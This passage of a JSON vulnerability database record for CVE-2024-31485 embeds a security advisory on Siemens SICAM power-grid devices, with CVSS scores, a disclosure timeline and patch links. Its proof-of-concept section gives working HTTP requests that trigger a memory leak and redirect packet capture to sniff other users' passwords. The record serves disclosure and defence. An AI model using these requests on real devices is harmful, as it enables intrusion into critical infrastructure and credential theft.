        "model": "cpci85 central processing/communication",
        "scope": "lt",
        "trust": 0.6,
        "vendor": "siemens",
        "version": "v5.30"
      },
      {
        "model": "opupi0 amqp/mqtt",
        "scope": "lt",
        "trust": 0.6,
        "vendor": "siemens",
        "version": "v5.30"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2024-24522"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Gerhard Hechenberger, Steffen Robertz, Constantin Schieber-Knoebl, Stefan Viehbock",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "179354"
      }
    ],
    "trust": 0.1
  },
  "cve": "CVE-2024-31485",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "MULTIPLE",
            "author": "CNVD",
            "availabilityImpact": "COMPLETE",
            "baseScore": 8.3,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 6.4,
            "id": "CNVD-2024-24522",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 0.6,
            "vectorString": "AV:N/AC:L/Au:M/C:C/I:C/A:C",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "productcert@siemens.com",
            "availabilityImpact": "HIGH",
            "baseScore": 7.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 1.2,
            "id": "CVE-2024-31485",
            "impactScore": 5.9,
            "integrityImpact": "HIGH",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "trust": 1.0,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        ],
        "severity": [
          {
            "author": "productcert@siemens.com",
            "id": "CVE-2024-31485",
            "trust": 1.0,
            "value": "High"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2024-24522",
            "trust": 0.6,
            "value": "HIGH"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2024-24522"
      },
      {
        "db": "NVD",
        "id": "CVE-2024-31485"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions \u003c V5.30), SICORE Base system (All versions \u003c V1.3.0). The web interface of affected devices is vulnerable to command injection due to missing server side input sanitation. This could allow an authenticated privileged remote attacker to execute arbitrary code with root privileges. SICAM 8 Power automation platform is a universal, all-in-one hardware and software-based solution for all applications in the power supply sector. The SICAM A8000 RTU (Remote Terminal Unit) series is a modular device family for telecontrol and automation applications in all areas of energy supply. SICAM EGS (Enhanced Grid Sensor) is a gateway for local substations in distribution networks. SEC Consult Vulnerability Lab Security Advisory \u003c 20240626-0 \u003e\n=======================================================================\n               title: Multiple Vulnerabilities in Power Automation Products\n             product: Siemens CP-8000/CP-8021/CP8-022/CP-8031/CP-8050/SICORE\n  vulnerable version: CPC80 \u003c V16.41 / CPCI85 \u003c V5.30 / OPUPI0 \u003c V5.30 / SICORE \u003c V1.3.0 /\n                      CPCX26 \u003c V06.02 for CP-2016 and PCCX26 \u003c V06.05 for CP-2019 in SICAM AK3 /\n                      ETA4 \u003c V10.46 and ETA5 \u003c V03.27 for SM-2558 ins SICAM AK3, SICAM BC and SICAM TM\n       fixed version: CPC80 V16.41 / CPCI85 V5.30 / OPUPI V5.30 / SICORE V1.3.0 / CPCX26 V06.02 /\n                      PCCX26 V06.05 / ETA4 V10.46 / ETA5 V03.27\n          CVE number: CVE-2024-31484, CVE-2024-31485, CVE-2024-31486\n              impact: high\n            homepage: https://www.siemens.com/global/en/products/energy/energy-automation-and-smart-grid.html\n               found: 2023-04-03 and 2024-01-12\n                  by: Stefan Viehboeck (Office Vienna)\n                      Steffen Robertz (Office Vienna)\n                      Gerhard Hechenberger (Office Vienna)\n                      Constantin Schieber-Knoebl (Office Vienna)\n                      SEC Consult Vulnerability Lab\n\n                      An integrated part of SEC Consult, an Eviden business\n                      Europe | Asia\n\n                      https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"We are a technology company focused on industry, infrastructure,\ntransport, and healthcare. From more resource-efficient factories,\nresilient supply chains, and smarter buildings and grids, to cleaner\nand more comfortable transportation as well as advanced healthcare,\nwe create technology with purpose adding real value for customers.\"\n\nSource: https://new.siemens.com/global/en/company/about.html\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately. \n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues. \n\n\nVulnerability overview/description:\n-----------------------------------\n1) Buffer Overread (Only CP-8000/CP-8021/CP-8022/CP-8031/CP-8050/CPCX26/PCCX26/ETA4/ETA5, CVE-2024-31484)\nThe webserver running on the CP-8050 and CP-8031 is vulnerable to a buffer overread\nvulnerability. \n\nThe value of the HTTP header \"Session-ID\" is processed and used in a \"strncpy\" call\nwithout proper termination. Thus, data structures from the BSS segment will be\nleaked in the response. Attackers might be able to read sensitive data from memory. \n\n\n2) Privilege Escalation (Only CP-8031/CP-8050 and SICORE devices, CVE-2024-31485)\nAn attacker with an account with the viewer (or higher) role can intercept unencrypted\ntraffic of other users of the web interface. Thus, the attacker can intercept higher\nprivileged user accounts and passwords and might gain access to their accounts to\nperform tasks with elevated privileges. \n\n\n3) Unsafe Storage of MQTT Client Passwords (Only CP-8031/CP-8050, CVE-2024-31486)\nA PLC with the OPUPI0 MQTT application installed is able to connect to\nan MQTT server. The configured MQTT password for the server is stored\nin cleartext on the device and can be read by exploiting a potential\ncode execution or file disclosure vulnerability or with physical access\nto the device. \n\n\nProof of concept:\n-----------------\n1) Buffer Overread (Only CP-8000/CP-8021/CP-8022/CP-8031/CP-8050/CPCX26/PCCX26/ETA4/ETA5, CVE-2024-31484)\nThe buffer overread can be triggered by sending a \"Session-ID\" in the HTTP request header\nwith exactly 20 bytes. This can be done with e.g. this request:\n\nPOST /SICAM_TOOLBOX_1703_remote_connection_00.htm HTTP/1.1\nUser-Agent: SICAM TOOLBOX II\nVersion: 1\nSession-ID: 3814280BA9921c6cAAAA\nSequence-ID: 1\nContent-Length: 8\nContent-Type: text/plain\nKeepAlive: 5\nConnection: close\ntype=3\n\nThe server answers with following response:\n\nHTTP/1.1 200 OK\nServer: SICAM 1703\nVersion: 1\nSession-ID: 3814280BA9921c6cAAAA\u00e6k\u00a4\nCache-Control: max-age=0, private\nX-Frame-Options: sameorigin\nStrict-Transport-Security: max-age=31536000; includeSubdomains\nContent-Security-Policy: default-src \u0027self\u0027 data: blob: \u0027unsafe-inline\u0027 \u0027unsafe-eval\u0027\nX-XSS-Protection: 1; mode=block\nX-Permitted-Cross-Domain-Policies: none\nContent-Length: 71\nConnection: close\nDate: Wed, 30 Mar 2022 01:38:37 GMT\n\nSequence-ID: 1\nContent-Type: text/plain\nContent-Length: 8\n\ntype=4\n\n\nThe Session-ID in the response leaks at least 4 additional bytes. Further,\nthe structure of the response is broken, as some HTTP headers are suddenly part\nof the body. \n\nThe vulnerability most likely stems from a misuse of the strncpy function. \nThe following code segment was analyzed (RTUM85.elf, Offset 0x1d50de):\n\nptr_fcgi_header = get_fcgi_param(fcgi_struct, \"HTTP_SESSION_ID);\nif (ptr_fcgi_header == (char*) 0x00) goto LAB_001d4a66;\nif ( is_a_session_available == 0 ) {\n     strncpy(\u0026session_id, ptr_fcgi_header, 0x14);\n}\n\nstrncpy is called with a length parameter of 0x14. To trigger the vulnerability,\nwe are sending exactly 0x14 bytes. Thus, we believe that the global session_id\nvariable is never properly terminated with a Null-pointer. \n\nlibc\u0027s documentation even contains a warning for this case:\n\"If there is no null byte among the first n bytes of src, the string\nplaced in dest will not be null-terminated.\"\n\nThus, if the response is built, every data structure in BSS following the\nsession_id global will be printed as string until a Null byte is encountered. \n\n\n2) Privilege Escalation (Only CP-8031/CP-8050 and SICORE devices, CVE-2024-31485)\nAn attacker with an account with the viewer (or higher) role can intercept unencrypted\ntraffic of other users of the web interface. Thus, the attacker can intercept higher\nprivileged user accounts and passwords. \n\nBy starting the Ethernet Packet Capture (Home -\u003e Monitoring \u0026 Simulation -\u003e Ethernet\nPacket Capture), a request is sent. This request can be modified by an interceptor\nproxy (e.g. Burp Suite). \n\nPOST /sicweb-ajax/rtum85/cview HTTP/1.1\nHost: HOST\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/xml\nSICWEB-SID: xNG1v825qFmCMo8hpjfISlVARKipW1B+lz9d5FoBxipR87VT\nContent-Length: 198\nOrigin: http:// HOST\nConnection: close\nReferer: http:// HOST/\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cCmd_SetCustomViewValue\u003e\u003cview id=\"packet_capture\"\u003e\u003cparameter id=\"p0\"\u003e\n\u003cvalue\u003elo\u003c/value\u003e\n\u003c/parameter\u003e\u003c/view\u003e\u003c/Cmd_SetCustomViewValue\u003e\n\n\nThe attacker can then send the parameter id p0 to the value \"lo\" and start the\npacket capture in order to dump from the loopback interface. It is a valid\ninterface, as it only consist of lowercase characters and numbers (fix\nfor CVE-2023-33919). \n\nHowever, the webserver implements TLS in a stunnel fashion. It accepts all\nTLS traffic on port 443, then decrypts it and forwards it via loopback interface\nto port 80. By being able to read the loopback traffic, an attacker can now\nsee all communication, including passwords of higher privileged users. \n\n\n3) Unsafe Storage of MQTT Passwords (Only CP-8031/CP-8050, CVE-2024-31486)\nTo demonstrate the issue, the following parameters were set for the MQTT client\nusing the Siemens Toolbox II:\n* \"8 MQTT password\" mqtt_pw_sectest\n* \"9 MQTT username\" mqtt_sectest\n\nThe password (together with the username) can be located in the\n/ies/data/local/system/iescfg.iar file on the device, which can be\nretrieved by shell access/code execution on the device or by desoldering\nand reading its unencrypted flash memory chip:\n-----------------------------------------------------------------------\ngrep -rain \"mqtt_pw_sectest\" /ies/data/local/system/iescfg.iar\n[...]\nmqtt\nmqtt_sectest. \nmqtt_pw_sectest. \n\u003c \ufffdMQTT_Broker\n[...]\n-----------------------------------------------------------------------\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n\nVulnerability 1 and 2 were confirmed on Siemens SICAM A8000 CP-8031 V05.12\nVulnerability 3 was confirmed on Siemens A8000 CP-8050 V04.92\n\n\nVendor contact timeline:\n------------------------\n2023-04-18: Contacting vendor through productcert@siemens.com for vulnerability 3\n2023-04-19: Advisory will be handled as case #92461. \n2023-06-13: Siemens releases advisory for other vulnerabilities, see https://sec-consult.com/vulnerability-lab/advisory/multiple-vulnerabilities-siemens-a8000/\n2023-10-09: Requesting status update\n2024-04-03: Requesting status update. \n2024-04-04: Unsafe Storage of MQTT password: fix will be released in April 2024,\n             Siemens advisory scheduled for May 2024\n2024-04-11: Contacting vendor through productcert@siemens.com for Vulnerability 1 and 2\n2024-04-12: Siemens assigned case #68662 for Vulnerability 1,2\n2024-05-14: Siemens publishes SSA-871704 for vulnerability 1,2,3\n2024-06-11: Siemens publishes SSA-620338 for Vulnerability 1\n2024-06-26: Public release of advisory\n\n\nSolution:\n---------\nThe vendor provides a patch which can be downloaded at the following URLs\ndepending on the affected device:\n\nCPC80 Central Processing/Communication: The firmware CPC80 V16.41 is present within \u201cCP-8000/CP-8021/CP-8022 Package\u201d V16.41\nhttps://support.industry.siemens.com/cs/ww/en/view/109812178/\n\nCPCI85 Central Processing/Communication: The firmware CPCI85 V5.30 is present within \"CP-8031/CP-8050 Package\" V5.30\nhttps://support.industry.siemens.com/cs/ww/en/view/109804985/\n\nSICORE Base system: The firmware SICORE V1.3.0 is present within \"SICAM 8 Software Solution Package\" V5.30\nhttps://support.industry.siemens.com/cs/ww/en/view/109818240/\n\nOPUPI0 AMQP/MQTT: The firmware OPUPI0 V5.30 is present within \"CP-8031/CP-8050 Package\" V5.30\nhttps://support.industry.siemens.com/cs/ww/en/view/109804985/\n\nCPCX26 Central Processing/Communication: The firmware CPCX26 V06.02 is present within \u201cSICAM RTUs AK3 Package\u201d V06.02\nhttps://support.industry.siemens.com/cs/ww/en/view/109813252/\n\nPCCX26 Ax 1703 PE, Contr, Communication Element: The firmware PCCX26 V06.05 is present within \u201cSICAM RTUs AK3 Package\u201d V06.02\nhttps://support.industry.siemens.com/cs/ww/en/view/109813252/\n\nETA4 Ethernet Interface IEC60870-5-104: The firmware ETA4 V10.46 is present within \u201cSICAM RTUs AK3 Package\u201d V06.02\nhttps://support.industry.siemens.com/cs/ww/en/view/109813252/\n\nETA5 Ethernet Int. 1x100TX IEC61850 Ed.2: The firmware ETA5 V03.27 is present within \u201cSICAM RTUs AK3 Package\u201d V06.02\nhttps://support.industry.siemens.com/cs/ww/en/view/109813252/\n\nAdditional information from the vendor can be found in their advisories:\nhttps://cert-portal.siemens.com/productcert/html/ssa-871704.html\nhttps://cert-portal.siemens.com/productcert/html/ssa-620338.html\n\n\nWorkaround:\n-----------\nLimit network and physical access to the PLC. \n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Eviden business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nEviden business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers. \nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies. \n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your application https://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local offices https://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb: https://www.sec-consult.com\nBlog: https://blog.sec-consult.com\nTwitter: https://twitter.com/sec_consult\n\nEOF Stefan Viehboeck, Steffen Robertz, Gerhard Hechenberger, Constantin Schieber-Knoebl  / @2024\n",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2024-31485"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2024-24522"
      },
      {
        "db": "PACKETSTORM",
        "id": "179354"
      }
    ],
    "trust": 1.53
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "SIEMENS",
        "id": "SSA-871704",
        "trust": 1.7
      },
      {
        "db": "NVD",
        "id": "CVE-2024-31485",
        "trust": 1.7
      },
      {
        "db": "CNVD",
        "id": "CNVD-2024-24522",
        "trust": 0.6
      },
      {
        "db": "SIEMENS",
        "id": "SSA-620338",
        "trust": 0.1
      },
      {
        "db": "PACKETSTORM",
        "id": "179354",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2024-24522"
      },
      {
        "db": "PACKETSTORM",
        "id": "179354"
      },
      {
        "db": "NVD",
        "id": "CVE-2024-31485"
      }
    ]
  },
  "id": "VAR-202405-0176",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2024-24522"
      }
    ],
    "trust": 0.06
  },
  "iot_taxonomy": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "category": [
          "ICS"
        ],
        "sub_category": null,
        "trust": 0.6
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2024-24522"
      }
    ]
  },
  "last_update_date": "2024-08-14T13:41:06.960000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "Patch for Siemens SICAM Product Command Injection Vulnerability",
        "trust": 0.6,
        "url": "https://www.cnvd.org.cn/patchInfo/show/547656"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2024-24522"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-77",
        "trust": 1.0
      }
    ],
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2024-31485"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 1.7,
        "url": "https://cert-portal.siemens.com/productcert/html/ssa-871704.html"
      },
      {
        "trust": 1.0,
        "url": "http://seclists.org/fulldisclosure/2024/jul/4"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2024-31484"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2024-31485"
      },
      {
        "trust": 0.1,
        "url": "https://support.industry.siemens.com/cs/ww/en/view/109804985/"
      },
      {
        "trust": 0.1,
        "url": "https://support.industry.siemens.com/cs/ww/en/view/109818240/"
      },
      {
        "trust": 0.1,
        "url": "https://support.industry.siemens.com/cs/ww/en/view/109813252/"
      },
      {
        "trust": 0.1,
        "url": "https://www.sec-consult.com"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2024-31486"
      },
      {
        "trust": 0.1,
        "url": "https://sec-consult.com/vulnerability-lab/advisory/multiple-vulnerabilities-siemens-a8000/"
      },
      {
        "trust": 0.1,
        "url": "https://new.siemens.com/global/en/company/about.html"
      },
      {
        "trust": 0.1,
        "url": "https://sec-consult.com/contact/"
      },
      {
        "trust": 0.1,
        "url": "https://cert-portal.siemens.com/productcert/html/ssa-620338.html"
      },
      {
        "trust": 0.1,
        "url": "https://twitter.com/sec_consult"
      },
      {
        "trust": 0.1,
        "url": "https://sec-consult.com/career/"
      },
      {
        "trust": 0.1,
        "url": "https://www.siemens.com/global/en/products/energy/energy-automation-and-smart-grid.html"
      },
      {
        "trust": 0.1,
        "url": "https://blog.sec-consult.com"
      },
      {
        "trust": 0.1,
        "url": "https://support.industry.siemens.com/cs/ww/en/view/109812178/"
      },
      {
        "trust": 0.1,
        "url": "https://sec-consult.com/vulnerability-lab/"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2024-24522"
      },
      {
        "db": "PACKETSTORM",
        "id": "179354"
      },
      {
        "db": "NVD",
        "id": "CVE-2024-31485"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "CNVD",
        "id": "CNVD-2024-24522"
      },
      {
        "db": "PACKETSTORM",
        "id": "179354"
      },
      {
        "db": "NVD",
        "id": "CVE-2024-31485"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2024-05-30T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2024-24522"
      },
      {
        "date": "2024-07-04T15:07:24",
        "db": "PACKETSTORM",
        "id": "179354"
      },
      {
        "date": "2024-05-14T16:16:51.033000",
        "db": "NVD",
        "id": "CVE-2024-31485"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2024-05-28T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2024-24522"
      },
      {
        "date": "2024-07-04T07:15:10.720000",
        "db": "NVD",
        "id": "CVE-2024-31485"
      }
    ]
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Siemens SICAM Product Command Injection Vulnerability",
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2024-24522"
      }
    ],
    "trust": 0.6
  }
}

{
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "aliases": [
        "CVE-2024-31485"
      ],
      "id": "GSD-2024-31485",
      "modified": "2024-04-11T05:03:20.588894Z",
      "schema_version": "1.4.0"
    }
  },
  "namespaces": {
    "cve.org": {
      "CVE_data_meta": {
        "ASSIGNER": "cve@mitre.org",
        "ID": "CVE-2024-31485",
        "STATE": "RESERVED"
      },
      "data_format": "MITRE",
      "data_type": "CVE",
      "data_version": "4.0",
      "description": {
        "description_data": [
          {
            "lang": "eng",
            "value": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided."
          }
        ]
      }
    }
  }
}